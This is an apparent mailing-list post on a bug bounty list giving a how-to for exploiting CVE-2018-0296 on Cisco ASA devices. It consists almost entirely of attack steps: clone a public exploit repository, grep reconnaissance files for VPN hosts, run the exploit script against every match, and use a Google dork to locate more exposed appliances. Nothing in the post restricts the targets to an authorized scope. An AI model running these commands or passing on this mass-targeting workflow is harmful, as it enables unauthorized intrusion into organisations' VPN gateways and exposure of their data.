[bugbounty] How to exploit CVE-2018-0296

  • From: Eray Mitrani <emitrani@xxxxxxxxx>
  • To: bugbounty@xxxxxxxxxxxxx
  • Date: Sat, 14 Jul 2018 13:28:57 -0400

 Hi everyone,

First you have to clone Yassine's exploit code into your directory:

git clone https://github.com/yassineaboukir/CVE-2018-0296.git
Then if you already have a recon folder go to the root and run the
following(if the results are .txt files)

grep -r --include=\*.txt "vpn"

For every match run the exploit code:

python cisco_asa.py https://vpn2target.com/

Also possible Google dork you can use:

inurl:/+CSCOE+/

Original tweet:  https://twitter.com/ErayMitrani/status/1011368520444186624

Good luck!

Other related posts:

  • » [bugbounty] How to exploit CVE-2018-0296 - Eray Mitrani